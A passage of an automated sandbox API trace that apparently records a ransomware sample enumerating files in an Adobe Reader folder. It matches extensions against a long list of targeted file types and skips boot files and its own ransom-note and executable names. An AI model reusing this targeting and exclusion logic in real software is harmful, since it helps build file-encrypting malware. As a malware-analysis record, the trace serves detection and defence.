(lpString=".asa") returned 4 [0265.360] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.361] lstrlenW (lpString=".asc") returned 4 [0265.361] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.361] lstrlenW (lpString=".ascx") returned 5 [0265.361] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.361] lstrlenW (lpString=".asm") returned 4 [0265.361] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.361] lstrlenW (lpString=".asmx") returned 5 [0265.361] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.361] lstrlenW (lpString=".asp") returned 4 [0265.361] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.361] lstrlenW (lpString=".aspx") returned 5 [0265.361] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.361] lstrlenW (lpString=".asr") returned 4 [0265.361] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.361] lstrlenW (lpString=".asx") returned 4 [0265.361] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.361] lstrlenW (lpString=".avi") returned 4 [0265.362] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.362] lstrlenW (lpString=".avs") returned 4 [0265.362] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.362] lstrlenW (lpString=".backup") returned 7 [0265.362] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.362] lstrlenW (lpString=".bak") returned 4 [0265.362] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.362] lstrlenW (lpString=".bay") returned 4 [0265.362] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.362] lstrlenW (lpString=".bd") returned 3 [0265.362] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.362] lstrlenW (lpString=".bin") returned 4 [0265.362] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.362] lstrlenW (lpString=".bmp") returned 4 [0265.362] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.362] lstrlenW (lpString=".bz2") returned 4 [0265.362] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.362] lstrlenW (lpString=".c") returned 2 [0265.363] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.363] lstrlenW (lpString=".cdr") returned 4 [0265.363] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.363] lstrlenW (lpString=".cer") returned 4 [0265.363] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.363] lstrlenW (lpString=".cf") returned 3 [0265.363] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.363] lstrlenW (lpString=".cfc") returned 4 [0265.363] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.363] lstrlenW (lpString=".cfm") returned 4 [0265.363] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.363] lstrlenW (lpString=".cfml") returned 5 [0265.363] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.363] lstrlenW (lpString=".cfu") returned 4 [0265.363] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.363] lstrlenW (lpString=".chm") returned 4 [0265.363] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.363] lstrlenW (lpString=".cin") returned 4 [0265.363] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.363] lstrlenW (lpString=".class") returned 6 [0265.363] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.364] lstrlenW (lpString=".clx") returned 4 [0265.364] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.364] lstrlenW (lpString=".config") returned 7 [0265.364] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.364] lstrlenW (lpString=".cpp") returned 4 [0265.364] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.364] lstrlenW (lpString=".cr2") returned 4 [0265.364] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.364] lstrlenW (lpString=".crt") returned 4 [0265.364] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.364] lstrlenW (lpString=".crw") returned 4 [0265.364] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.364] lstrlenW (lpString=".cs") returned 3 [0265.364] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.364] lstrlenW (lpString=".css") returned 4 [0265.364] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.364] lstrlenW (lpString=".csv") returned 4 [0265.364] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.364] lstrlenW (lpString=".cub") returned 4 [0265.364] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.364] lstrlenW (lpString=".dae") returned 4 [0265.364] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.364] lstrlenW (lpString=".dat") returned 4 [0265.365] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.365] lstrlenW (lpString=".db") returned 3 [0265.365] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.365] lstrlenW (lpString=".dbf") returned 4 [0265.365] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.365] lstrlenW (lpString=".dbx") returned 4 [0265.365] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.365] lstrlenW (lpString=".dc3") returned 4 [0265.365] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.365] lstrlenW (lpString=".dcm") returned 4 [0265.365] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.365] lstrlenW (lpString=".dcr") returned 4 [0265.365] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.365] lstrlenW (lpString=".der") returned 4 [0265.365] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.365] lstrlenW (lpString=".dib") returned 4 [0265.365] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.365] lstrlenW (lpString=".dic") returned 4 [0265.365] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.365] lstrlenW (lpString=".dif") returned 4 [0265.365] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.365] lstrlenW (lpString=".divx") returned 5 [0265.365] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.365] lstrlenW (lpString=".djvu") returned 5 [0265.365] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.366] lstrlenW (lpString=".dng") returned 4 [0265.366] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.366] lstrlenW (lpString=".doc") returned 4 [0265.366] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.699] lstrlenW (lpString=".docm") returned 5 [0265.699] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.699] lstrlenW (lpString=".docx") returned 5 [0265.699] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.699] lstrlenW (lpString=".dot") returned 4 [0265.699] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.699] lstrlenW (lpString=".dotm") returned 5 [0265.699] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.699] lstrlenW (lpString=".dotx") returned 5 [0265.699] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.699] lstrlenW (lpString=".dpx") returned 4 [0265.699] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.699] lstrlenW (lpString=".dqy") returned 4 [0265.699] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.699] lstrlenW (lpString=".dsn") returned 4 [0265.699] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.699] lstrlenW (lpString=".dt") returned 3 [0265.700] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.700] lstrlenW (lpString=".dtd") returned 4 [0265.700] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.700] lstrlenW (lpString=".dwg") returned 4 [0265.700] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.700] lstrlenW (lpString=".dwt") returned 4 [0265.700] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.700] lstrlenW (lpString=".dx") returned 3 [0265.700] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.700] lstrlenW (lpString=".dxf") returned 4 [0265.700] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.700] lstrlenW (lpString=".edml") returned 5 [0265.701] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.701] lstrlenW (lpString=".efd") returned 4 [0265.701] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.701] lstrlenW (lpString=".elf") returned 4 [0265.701] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.701] lstrlenW (lpString=".emf") returned 4 [0265.701] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.701] lstrlenW (lpString=".emz") returned 4 [0265.701] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.701] lstrlenW (lpString=".epf") returned 4 [0265.701] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0265.701] lstrlenW (lpString=".eps") returned 4 [0265.701] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0265.701] lstrlenW (lpString=".epsf") returned 5 [0265.701] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0265.701] lstrlenW (lpString=".epsp") returned 5 [0265.701] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0265.701] lstrlenW (lpString=".erf") returned 4 [0265.701] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0265.701] lstrlenW (lpString=".exr") returned 4 [0265.702] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0265.702] lstrlenW (lpString=".f4v") returned 4 [0265.702] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0265.702] lstrlenW (lpString=".fido") returned 5 [0265.702] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0265.702] lstrlenW (lpString=".flm") returned 4 [0265.702] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0265.702] lstrlenW (lpString=".flv") returned 4 [0265.702] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0265.702] lstrlenW (lpString=".frm") returned 4 [0265.702] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0265.702] lstrlenW (lpString=".fxg") returned 4 [0265.702] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0265.702] lstrlenW (lpString=".geo") returned 4 [0265.702] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0265.702] lstrlenW (lpString=".gif") returned 4 [0265.702] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0265.702] lstrlenW (lpString=".grs") returned 4 [0265.702] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0265.702] lstrlenW (lpString=".gz") returned 3 [0265.703] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0265.703] lstrlenW (lpString=".h") returned 2 [0265.703] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0265.703] lstrlenW (lpString=".hdr") returned 4 [0265.703] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0265.703] lstrlenW (lpString=".hpp") returned 4 [0265.703] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0265.703] lstrlenW (lpString=".hta") returned 4 [0265.703] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0265.703] lstrlenW (lpString=".htc") returned 4 [0265.703] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0265.703] lstrlenW (lpString=".htm") returned 4 [0265.703] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0265.703] lstrlenW (lpString=".html") returned 5 [0265.703] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0265.704] lstrlenW (lpString=".icb") returned 4 [0265.704] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0265.704] lstrlenW (lpString=".ics") returned 4 [0265.704] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0265.704] lstrlenW (lpString=".iff") returned 4 [0265.704] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0265.704] lstrlenW (lpString=".inc") returned 4 [0265.704] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0265.704] lstrlenW (lpString=".indd") returned 5 [0265.704] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0265.704] lstrlenW (lpString=".ini") returned 4 [0265.704] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0265.704] lstrlenW (lpString=".iqy") returned 4 [0265.704] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0265.704] lstrlenW (lpString=".j2c") returned 4 [0265.705] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0265.705] lstrlenW (lpString=".j2k") returned 4 [0265.705] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0265.705] lstrlenW (lpString=".java") returned 5 [0265.705] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0265.705] lstrlenW (lpString=".jp2") returned 4 [0265.705] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0265.705] lstrlenW (lpString=".jpc") returned 4 [0265.705] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0265.705] lstrlenW (lpString=".jpe") returned 4 [0265.705] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0265.705] lstrlenW (lpString=".jpeg") returned 5 [0265.705] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0265.705] lstrlenW (lpString=".jpf") returned 4 [0265.705] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0265.705] lstrlenW (lpString=".jpg") returned 4 [0265.705] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0265.705] lstrlenW (lpString=".jpx") returned 4 [0265.705] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0265.705] lstrlenW (lpString=".js") returned 3 [0265.705] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0265.705] lstrlenW (lpString="ui-strings.js") returned 13 [0265.705] lstrlenW (lpString=".love$") returned 6 [0265.705] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0265.705] lstrlenW (lpString="ui-strings.js") returned 13 [0265.705] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0265.705] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0265.706] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0265.706] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0265.706] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0265.706] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0265.706] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0265.706] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0265.706] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\ui-strings.js") returned 120 [0265.706] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.706] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0265.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0265.706] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0265.706] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk") returned 106 [0265.706] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk") returned 1 [0265.706] lstrlenW (lpString="da-dk") returned 5 [0265.706] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="da-dk") returned -1 [0265.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0265.707] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk") returned 106 [0265.707] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0265.707] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.707] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.707] lstrlenW (lpString="ui-strings.js") returned 13 [0265.707] lstrlenW (lpString=".1cd") returned 4 [0265.707] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.707] lstrlenW (lpString=".3ds") returned 4 [0265.707] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.707] lstrlenW (lpString=".3fr") returned 4 [0265.707] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.707] lstrlenW (lpString=".3g2") returned 4 [0265.707] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.707] lstrlenW (lpString=".3gp") returned 4 [0265.707] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.707] lstrlenW (lpString=".7z") returned 3 [0265.707] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.708] lstrlenW (lpString=".accda") returned 6 [0265.708] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.708] lstrlenW (lpString=".accdb") returned 6 [0265.708] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.708] lstrlenW (lpString=".accdc") returned 6 [0265.708] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.708] lstrlenW (lpString=".accde") returned 6 [0265.708] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.708] lstrlenW (lpString=".accdt") returned 6 [0265.708] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.708] lstrlenW (lpString=".accdw") returned 6 [0265.708] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.708] lstrlenW (lpString=".adb") returned 4 [0265.708] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.708] lstrlenW (lpString=".adp") returned 4 [0265.708] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.708] lstrlenW (lpString=".ai") returned 3 [0265.708] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.708] lstrlenW (lpString=".ai3") returned 4 [0265.709] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.709] lstrlenW (lpString=".ai4") returned 4 [0265.709] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.709] lstrlenW (lpString=".ai5") returned 4 [0265.709] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.709] lstrlenW (lpString=".ai6") returned 4 [0265.709] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.709] lstrlenW (lpString=".ai7") returned 4 [0265.709] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.709] lstrlenW (lpString=".ai8") returned 4 [0265.709] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.709] lstrlenW (lpString=".anim") returned 5 [0265.709] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.709] lstrlenW (lpString=".arw") returned 4 [0265.709] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.709] lstrlenW (lpString=".as") returned 3 [0265.709] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.709] lstrlenW (lpString=".asa") returned 4 [0265.709] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.709] lstrlenW (lpString=".asc") returned 4 [0265.709] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.709] lstrlenW (lpString=".ascx") returned 5 [0265.709] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.709] lstrlenW (lpString=".asm") returned 4 [0265.709] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.709] lstrlenW (lpString=".asmx") returned 5 [0265.710] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.710] lstrlenW (lpString=".asp") returned 4 [0265.710] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.710] lstrlenW (lpString=".aspx") returned 5 [0265.710] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.710] lstrlenW (lpString=".asr") returned 4 [0265.710] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.710] lstrlenW (lpString=".asx") returned 4 [0265.710] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.710] lstrlenW (lpString=".avi") returned 4 [0265.710] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.710] lstrlenW (lpString=".avs") returned 4 [0265.710] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.710] lstrlenW (lpString=".backup") returned 7 [0265.710] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.710] lstrlenW (lpString=".bak") returned 4 [0265.710] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.710] lstrlenW (lpString=".bay") returned 4 [0265.710] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.710] lstrlenW (lpString=".bd") returned 3 [0265.710] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.710] lstrlenW (lpString=".bin") returned 4 [0265.710] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.710] lstrlenW (lpString=".bmp") returned 4 [0265.710] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.710] lstrlenW (lpString=".bz2") returned 4 [0265.710] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.711] lstrlenW (lpString=".c") returned 2 [0265.711] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.711] lstrlenW (lpString=".cdr") returned 4 [0265.711] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.711] lstrlenW (lpString=".cer") returned 4 [0265.711] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.711] lstrlenW (lpString=".cf") returned 3 [0265.711] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.711] lstrlenW (lpString=".cfc") returned 4 [0265.711] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.711] lstrlenW (lpString=".cfm") returned 4 [0265.711] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.711] lstrlenW (lpString=".cfml") returned 5 [0265.711] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.711] lstrlenW (lpString=".cfu") returned 4 [0265.711] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.711] lstrlenW (lpString=".chm") returned 4 [0265.711] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.711] lstrlenW (lpString=".cin") returned 4 [0265.711] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.711] lstrlenW (lpString=".class") returned 6 [0265.711] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.711] lstrlenW (lpString=".clx") returned 4 [0265.711] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.711] lstrlenW (lpString=".config") returned 7 [0265.711] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.712] lstrlenW (lpString=".cpp") returned 4 [0265.712] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.712] lstrlenW (lpString=".cr2") returned 4 [0265.712] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.712] lstrlenW (lpString=".crt") returned 4 [0265.712] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.712] lstrlenW (lpString=".crw") returned 4 [0265.712] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.712] lstrlenW (lpString=".cs") returned 3 [0265.712] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.712] lstrlenW (lpString=".css") returned 4 [0265.712] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.712] lstrlenW (lpString=".csv") returned 4 [0265.712] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.712] lstrlenW (lpString=".cub") returned 4 [0265.712] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.712] lstrlenW (lpString=".dae") returned 4 [0265.712] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.712] lstrlenW (lpString=".dat") returned 4 [0265.712] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.712] lstrlenW (lpString=".db") returned 3 [0265.712] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.713] lstrlenW (lpString=".dbf") returned 4 [0265.713] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.713] lstrlenW (lpString=".dbx") returned 4 [0265.713] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.713] lstrlenW (lpString=".dc3") returned 4 [0265.713] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.713] lstrlenW (lpString=".dcm") returned 4 [0265.713] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.713] lstrlenW (lpString=".dcr") returned 4 [0265.713] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.713] lstrlenW (lpString=".der") returned 4 [0265.713] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.713] lstrlenW (lpString=".dib") returned 4 [0265.713] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 